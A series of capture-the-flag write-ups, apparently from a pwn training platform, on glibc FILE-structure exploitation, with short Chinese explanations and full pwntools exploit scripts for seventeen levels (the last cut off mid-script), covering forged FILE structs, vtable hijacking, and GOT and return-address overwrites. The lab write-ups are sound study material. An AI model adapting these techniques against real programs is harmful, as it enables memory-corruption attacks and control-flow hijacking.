┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Software Exploitation (File Struct Exploits)
series (Completed)
~ CuB3y0nd
# 前言

Finally,花了五个月差不多把 pwn 学完了,至于剩下的内核什么的后期就当兴趣学了,应
该不会变成我的主要研究方向,所以等学完这两章 FSOP 的内容我就去搞 IoT,~~也能想象
明年开始将全力以赴打比赛,暗无天日的坐牢(~~

总之希望竞赛时期不要太长,最好能够一年退役,我可不想整个大学生活都在坐牢 LOL

# Level 1

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to arbitrarily read data.

## Write-up

~~最简单的一集。~~ chall 把 flag 读到 bss 了,并且没开 PIE,还给了任意写 FILE 结
构体的能力,直接用 pwntools 秒了。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    flag = 0x4040E0

    fp = FileStructure()
    payload = flat(fp.write(flag, 0x64))

    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 2

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to arbitrarily write data to bypass a securi
ty check.

## Write-up

验证变量,构造任意读即可。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level2"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    authenticated = 0x4041F8

    fp = FileStructure()
    payload = flat(fp.read(authenticated, 0x101))

    target.success(fp)

    target.send(payload)
    target.sendline(b"A" * 0xFF)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 3

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to redirect data output.

## Write-up

以后每题都那么简单就好了(

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level3"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.send(b"x01")

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 4

## Information

- Category: Pwn

## Description

> Harness the power of FILE structs to arbitrarily read/write data to hijack con
trol flow.

## Write-up

越来越有趣了之,File Structure 的千层套路(

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level4"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"stored at: ")
    ret = int(target.recvline().strip(), 16)

    fp = FileStructure()
    payload = flat(fp.read(ret, 0x101))

    target.send(payload)
    target.send(flat(elf.sym["win"]).ljust(0x101, b"x00"))

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 5

## Information

- Category: Pwn

## Description

> Abuse built-in FILE structs to leak sensitive information.

## Write-up

能改 stdout 结构体,并且 `puts` 函数内部会使用 stdout 结构体中的指针来输出值,所
以我们只要改掉 write 的几个指针,过一下检查,并且把 flag 设置为 `0xfbad1800` 就
好了。

```c
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);

  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (stdout);
  return result;
}

weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)
```

`0x1000` 代表追加到当前 fileno 后面,`0x0800` 代表正在执行写入操作。

```c
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
```

不过实际上我们也不用改那么多 write 指针,只要把最重要的 `_IO_write_base` 改掉就
好了,剩下的使用残留值。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level5"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    flag = 0x4040C0

    fp = FileStructure()
    fp.flags = 0xFBAD1800
    fp._IO_write_base = flag
    fp._IO_write_ptr = flag + 0x64
    fp._IO_write_end = flag + 0x64
    payload = flat(fp.struntil("_IO_write_end"))

    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 6

## Information

- Category: Pwn

## Description

> Abuse built-in FILE structs to bypass a security check.

## Write-up

上题是改 stdout 使 puts 任意写,这题是改 stdio 使 scanf 任意读。

`scanf` 的话只要设置 `_IO_NO_WRITES` 标志并设置 `_IO_buf_base` 和 `_IO_buf_end` 
就好了,和那几个 read 指针无关。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level6"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    authenticated = 0x4041F8

    fp = FileStructure()
    fp.flags = 0xFBAD0008
    fp._IO_buf_base = authenticated
    fp._IO_buf_end = authenticated + 0x8
    payload = flat(fp.struntil("_IO_buf_end"))

    raw_input("DEBUG")
    target.send(payload)
    target.sendlineafter(b"Please log in.", b"x01")

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 7

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.

## Write-up

人生中第一道 vtable,也是灰常的简单呢 :D 一开始我看这 description 说是打 vtable 
还感觉可能有点难,然非也哈哈哈。

这题就是折腾折腾几个指针而已,要点就是让调用 `fwrite` 时使用的 FILE structure 的
 `vtable + 0x38` 处保存 `__GI__IO_wfile_overflow` 的地址,然后这个 `__GI__IO_wfi
le_overflow` 内部会调用 `_IO_wdoallocbuf`,这个函数内部又会调用传给 `fwrite` 的 
FILE structure 的 `_wide_data + 0x68` 处的函数,我们伪造 `_wide_data`,令其 `+0x
68` 处保存的是 `win` 函数地址即可。

一题打消第一次接触 vtable 的恐惧,开心。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level7"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"located at: ")
    buf = int(target.recvline().strip(), 16)

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    payload = flat(
        {
            0x68: elf.sym["win"],
            0xE0: buf,
        },
        filler=b"x00",
    )
    raw_input("DEBUG")
    target.sendafter(b"Please enter your name.n", payload)

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow

    raw_input("DEBUG")
    target.sendafter(
        b"Now reading from stdin directly to the FILE struct.n", bytes(fp)
    )

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 8

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.

## Write-up

和上题差不多,结构体 overlapping 就好了。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level8"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"writing to: ")
    buf = int(target.recvline().strip(), 16)

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]

    payload = flat(
        bytes(fp),
        buf,
    )

    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 9

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a built-in FILE struct.

## Write-up

做 flag 梦,下 flag 雨(

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level9"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"_IO_read_ptr")
    buf = int(target.recvline().strip()[-14:], 16) - 0x83

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    fp = FileStructure()
    fp._lock = buf
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["authenticate"] + 0x25

    payload = flat(
        bytes(fp),
        buf,
    )
    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 10

## Information

- Category: Pwn

## Description

> Create a fake _wide_data struct to hijack control of the virtual function tabl
e of a FILE struct.

## Write-up

呜呜呜,他甚至在汇编层隐藏了作弊检测(

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level10"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"libc is: ")
    libc = int(target.recvline().strip(), 16) - 0x84420
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recvuntil(b"writing to: ")
    buf = int(target.recvline().strip(), 16)

    target.success(f"libc: {hex(libc)}")
    target.success(f"buf: {hex(buf)}")

    fp = FileStructure()
    fp.flags = b"password"
    fp._lock = buf + 0xE8
    fp._wide_data = buf
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["authenticate"]

    payload = flat(
        bytes(fp),
        buf,
    )
    raw_input("DEBUG")
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 11

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to leak a secret value.

## Write-up

不好啦,开始结合堆利用啦,感觉要开始变难了……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level11"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(size).encode())


def del_note():
    target.sendlineafter(b"> ", b"del_note")


def write_note(content):
    target.sendlineafter(b"> ", b"write_note")
    target.send(content)


def read_note():
    target.sendlineafter(b"> ", b"read_note")


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file():
    target.sendlineafter(b"> ", b"write_file")


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    secret = 0x404100

    new_note(0x10)
    open_file()

    fp = FileStructure()
    fp.flags = 0x800
    fp._IO_read_end = secret
    fp._IO_write_base = secret
    fp._IO_write_ptr = secret + 0x100
    fp.fileno = 1
    payload = flat(fp.struntil("_flags2"))

    raw_input("DEBUG")
    write_fp(payload)
    write_file()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 12

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to write data to bypass a security check.

## Write-up

越来越简单,梦回幼儿园(

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level12"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def auth():
    target.sendlineafter(b"> ", b"authenticate")


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"located at: ")
    elf.address = int(target.recvline().strip(), 16) - 0x205D
    authenticate = elf.address + 0x5170

    target.success(f"pie: {hex(elf.address)}")
    target.success(f"authenticate: {hex(authenticate)}")

    open_file()

    fp = FileStructure()
    fp.read(authenticate, 0x10)
    payload = flat(fp.struntil("_IO_save_base"))

    # raw_input("DEBUG")
    write_fp(payload)
    new_note(0, 0x8)
    raw_input("DEBUG")
    read_file(0)
    auth()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 13

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to write data and hijack control flow.

## Write-up

> Level 12: When using close_file, be cautious of double free or invalid pointer
 issues.<br />
> Level 13: To resolve issues with stdin breaking after using close_file, consid
er alternative methods to get an arbitrary read without using close_file.<br />
> Level 13: One approach is to perform a leak using write_file and an overwrite 
using read_file.

感觉 Level 12 和 Level 13 我打的都是非预期 o_O

~~求漂亮小姐姐浇浇 `fclose` 怎么利用……~~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level13"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def write_file(idx):
    target.sendlineafter(b"> ", b"write_file")
    target.sendlineafter(b"> ", str(idx).encode())


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"is: ")
    stack = int(target.recvline().strip(), 16)

    target.success(f"stack: {hex(stack)}")

    open_file()

    fp = FileStructure()
    fp.write(stack - 0x50, 0x100)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x10)
    write_file(0)
    target.recvlines(4)
    fp_addr = int.from_bytes(target.recv(0x8), "little") - 0x1E0

    target.recv(0x68)
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
    __GI__IO_wfile_overflow = libc + 0x1E8DC0

    target.recv(0x48)
    elf.address = int.from_bytes(target.recv(0x8), "little") - 0x2200

    target.success(f"libc: {hex(libc)}")
    target.success(f"pie: {hex(elf.address)}")
    target.success(f"fp: {hex(fp_addr)}")

    fp = FileStructure()
    fp._lock = fp_addr
    fp._wide_data = fp_addr
    fp.vtable = __GI__IO_wfile_overflow
    fp.chain = elf.sym["win"]
    payload = flat(
        bytes(fp),
        fp_addr,
    )

    write_fp(payload)

    # raw_input("DEBUG")
    write_file(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 14

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to write data to hijack control flow.. again?

## Write-up

这题泄漏了栈地址,有 `fread`,所以直接让它写返回地址就好了,多跑几次,$1/16$ 概
率成功。我不知道有没有别的打法,提示说 `close_file` 可能比较有用,不懂,这个预期
解到底是啥,我不知道……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level14"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    target.recvuntil(b"is: ")
    stack = int(target.recvline().strip(), 16)
    ret = stack + 0x98

    target.success(f"stack: {hex(stack)}")

    open_file()

    fp = FileStructure()
    fp.read(ret, 0x3)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x2)
    # raw_input("DEBUG")
    read_file(0)

    payload = flat(
        b"xc9x03",
    )
    target.send(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 15

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to overwrite a GOT entry.

## Write-up

比上题简单,直接改 GOT 表。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level15"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    open_file()

    fp = FileStructure()
    fp.read(elf.got["printf"], 0x9)
    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    new_note(0, 0x8)
    # raw_input("DEBUG")
    read_file(0)

    payload = flat(
        elf.sym["win"],
    )
    target.send(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 16

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to overwrite a built-in FILE struct and print the f
lag.

## Write-up

泄漏了 libc,可以算出 stdout,所以使 `fread` 从 stdin 向 stdout 读,然后修改 std
out 输出缓冲区。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level16"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def open_file():
    target.sendlineafter(b"> ", b"open_file")


def close_file():
    target.sendlineafter(b"> ", b"close_file")


def read_file(idx):
    target.sendlineafter(b"> ", b"read_file")
    target.sendlineafter(b"> ", str(idx).encode())


def write_fp(payload):
    target.sendlineafter(b"> ", b"write_fp")
    target.send(payload)


def quit():
    target.sendlineafter(b"> ", b"quit")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    secret = 0x405100

    target.recvuntil(b"is: ")
    libc.address = int(target.recvline().strip(), 16) - 0x84420
    stdout = libc.sym["_IO_2_1_stdout_"]

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"stdout: {hex(stdout)}")

    open_file()

    fp = FileStructure()
    fp.read(stdout, 0x78)

    payload = flat(fp.struntil("_flags2"))

    write_fp(payload)

    stdout = FileStructure()
    stdout.write(secret, 0x100)

    payload = flat(stdout.struntil("_flags2"))

    new_note(0, 0x70)
    raw_input("DEBUG")
    read_file(0)

    raw_input("DEBUG")
    target.send(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

# Level 17

## Information

- Category: Pwn

## Description

> Apply FILE struct exploits to read/write data and capture the flag.

## Write-up

没办法泄漏任何地址,咋办嘞?又回到了 glibc 堆分配机制问题上来…… `fopen` 会 `mall
oc` 一块 File Structure buffer,而 `fclose` 会 `free` 掉 `fopen` 分配的 buffer,
那么,我们只要先调用 `open_file` fopen 一个文件,它会设置 fp,然后调用 `close_fi
le` 释放,再打开包含 flag 的文件,此时这个 fopen 会复用之前的地址,由于 close 的
时候没有清空 fp 指针,所以此时 fp 指向我们的 flag 结构体,之后我们就可以把 flag 
内容搞到用户分配的 buffer 中了,最后篡改 fp 的 fileno 为 stdout,调用 `write_fil
e` 会将 buffer 内容写到这个 fp 的 fileno 中,成功泄漏 flag。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    FileStructure,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyfile_level17"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def new_note(idx, size):
    target.sendlineafter(b"> ", b"new_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.sendlineafter(b"> ", str(size).encode())


def del_note(idx):
    target.sendlineafter(b"> ", b"del_note")
    target.sendlineafter(b"> ", str(idx).encode())


def write_note(idx, content):
    target.sendlineafter(b"> ", b"write_note")
    target.sendlineafter(b"> ", str(idx).encode())
    target.send(content)


def read_note(idx, content):
    target.sendlineafter(b"> ", b"read_note")
